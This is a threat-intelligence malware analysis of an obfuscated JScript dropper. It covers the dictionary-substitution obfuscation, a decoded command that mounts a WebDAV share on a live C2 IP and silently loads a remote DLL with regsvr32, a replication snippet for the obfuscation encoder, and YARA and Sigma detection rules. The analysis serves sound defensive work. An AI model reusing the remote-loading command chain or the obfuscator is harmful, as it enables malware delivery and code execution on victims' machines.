unclassified-js-webdav-dropper: f51f6323 — 100-entry random-noise dictionary, WebDAV C2 94.159.113.84:8888

Executive Summary

JScript dropper using a 100-entry random-noise dictionary lookup-table obfuscation (pacwwujsea object). Decodes to WScript.Shell → cmd /c net use → regsvr32 /s chain against WebDAV C2 94.159.113.84:8888, payload 124762709410083.dll. Eighty-ninth confirmed sibling in the unclassified-js-webdav-dropper family. Ties fbdd83ad, e2568b43, f01dca2e, and c4670e86 for largest dictionary size (100 entries). Static-only (JScript, not a binary).

What It Is

How It Works

Obfuscation Layer: 100-Entry Random-Noise Dictionary

The script defines a single object pacwwujsea and populates it with 100 key/value pairs mapping random lowercase noise strings (8–25 chars, e.g. tmjfthfurniture, nexxsxsneeze, frzbeemqzipper) to individual characters ^[strings.txt:1]. The character set spans printable ASCII, escape sequences (\r, \n, \t, \u000b), and symbols — a complete encoding alphabet for JavaScript source code.

After dictionary construction, the payload executes via:

this[pacwwujsea['key1']+pacwwujsea['key2']+pacwwujsea['key3']+pacwwujsea['key4']](<eval_arg>)

The property access resolves to eval. The eval argument is itself a second-layer concatenation that resolves to:

this["WScript"]["Shell"]["run"]("cmd /c timeout 1&&cmd /c cmd /c net use \\\\94.159.113.84@8888\\davwwwroot\\ &&timeout 1&&cmd /c cmd /c regsvr32 /s \\\\94.159.113.84@8888\\davwwwroot\\124762709410083.dll",0,false)

The 0,false arguments map to intWindowStyle=0 (hidden) and bWaitOnReturn=false (fire-and-forget) in the WScript.Shell.Run signature.

Execution Chain

1. T1059.005 — JScript opened by user (.js file, likely via wscript.exe double-click or LNK)
2. T1027 — Dictionary lookup-table obfuscation decodes payload at runtime
3. T1218.010 — regsvr32 /s silently loads remote DLL from WebDAV share
4. T1105 — net use mounts \\94.159.113.84@8888\davwwwroot\ as prerequisite
5. T1071.001 — WebDAV over HTTP (port 8888)

Decompiled Behavior

Static-only analysis — no binary to decompile. The JScript is a single-line file with no control-flow flattening, no anti-debug, no VM checks, and no sandbox gates. The obfuscation is purely lexical (dictionary substitution), not structural.

C2 Infrastructure

No PowerShell wrapper, no wordpad decoy, no timeout anti-emulation gate, no nested try/catch decoys. This is a minimal-footprint variant.

Interesting Tidbits

• Ties for largest dictionary: 100 entries matches fbdd83ad (66th sibling), e2568b43 (83rd), f01dca2e (86th), and c4670e86 (76th). The prior maximum was 62 entries for most of the family. ^[/intel/analyses/f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfb.html]
• Same C2 subnet: 94.159.113.84 is shared with fbdd83ad (.84), c4670e86 (.84), and e2568b43 (.84). This subnet (94.159.113.0/24) now hosts 14 confirmed siblings across five IPs (.79, .82, .84, .86, .204).
• Numeric filename: 5354239922818428750.js — 19-digit numeric, consistent with the family's numeric-filename convention.
• Payload DLL name: 124762709410083.dll — 15-digit numeric, consistent with the family's numeric-payload-filename convention.
• No batch/polyglot layer: Pure JScript execution via WScript.Shell, no batch SET variable expansion, no polyglot self-replication.
• No sandbox evasion: No timeout delay, no wordpad decoy, no goto label, no connectivity check. The operator relies entirely on social engineering to get the victim to double-click the .js file.

How To Mess With It (Homelab Replication)

A minimal replication of this obfuscation engine:

// Build a noise-key dictionary
var dict = {};
var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \r\n\t\\/.'\"[]{}()=+-*&^%$#@!~`|:;,<>=?";
for (var i = 0; i < chars.length; i++) {
    // Generate random noise key (e.g., 12-char lowercase)
    var key = Math.random().toString(36).substring(2, 14);
    dict[key] = chars[i];
}

// Encode a payload string
var payload = 'WScript.Shell';
var encoded = [];
for (var j = 0; j < payload.length; j++) {
    for (var k in dict) {
        if (dict[k] === payload[j]) {
            encoded.push("dict['" + k + "']");
            break;
        }
    }
}
console.log(encoded.join('+'));

Verification: The output should produce a long concatenation expression that evaluates back to the original payload string when executed in a JScript engine.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_100 {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup-table obfuscation"
        author = "Titus"
        reference = "f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d"
        family = "unclassified-js-webdav-dropper"
        date = "2026-07-22"
    strings:
        $dict_obj = /\w+\=\[\];\w+\['/ ascii
        $webdav = "davwwwroot" ascii wide
        $net_use = "net use" ascii wide
        $regsvr32 = "regsvr32 /s" ascii wide
        $c2_ip = "94.159.113." ascii wide
    condition:
        $dict_obj and $webdav and $net_use and $regsvr32 and filesize < 500KB
}

Sigma Rule

title: JScript WebDAV Dropper Execution
logsource:
    product: windows
    category: process_creation
detection:
    selection_wscript:
        Image|endswith: '\wscript.exe'
        CommandLine|contains:
            - '.js'
    selection_webdav:
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_regsvr32:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\wscript.exe'
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains:
            - '\\'
            - '.dll'
    condition: selection_wscript and selection_webdav or selection_regsvr32
falsepositives:
    - Legitimate WebDAV usage in enterprise environments
level: high

IOC List

Behavioral Fingerprint

This JScript dropper defines a dictionary object with 100 random-noise string keys mapping to individual ASCII characters, then uses the resolved characters to assemble this["WScript"]["Shell"]["run"]("cmd /c net use \\\\94.159.113.84@8888\\davwwwroot\\ && regsvr32 /s \\\\94.159.113.84@8888\\davwwwroot\\124762709410083.dll",0,false). The file is a single line of ASCII text with no line terminators, ~165 KB in size. No PowerShell wrapper, no decoy application, no sandbox evasion gates.

Detection Signatures

References

• SHA-256: f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d
• Artifact ID: 3a857b50-2d05-4ef0-b3b9-8a135a201fc6
• OpenCTI labels: js, malware-bazaar
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

• File type: file v5.45 ^[file.txt]
• ExifTool: v12.76 ^[exiftool.json]
• radare2: rabin2 -I (no PE — JScript) ^[rabin2-info.txt]
• CAPE: Skipped (not a supported binary class) ^[dynamic-analysis.md]
• Manual decode: Python 3 script resolving 100-entry dictionary + two-stage string concatenation, verified against JScript eval() semantics.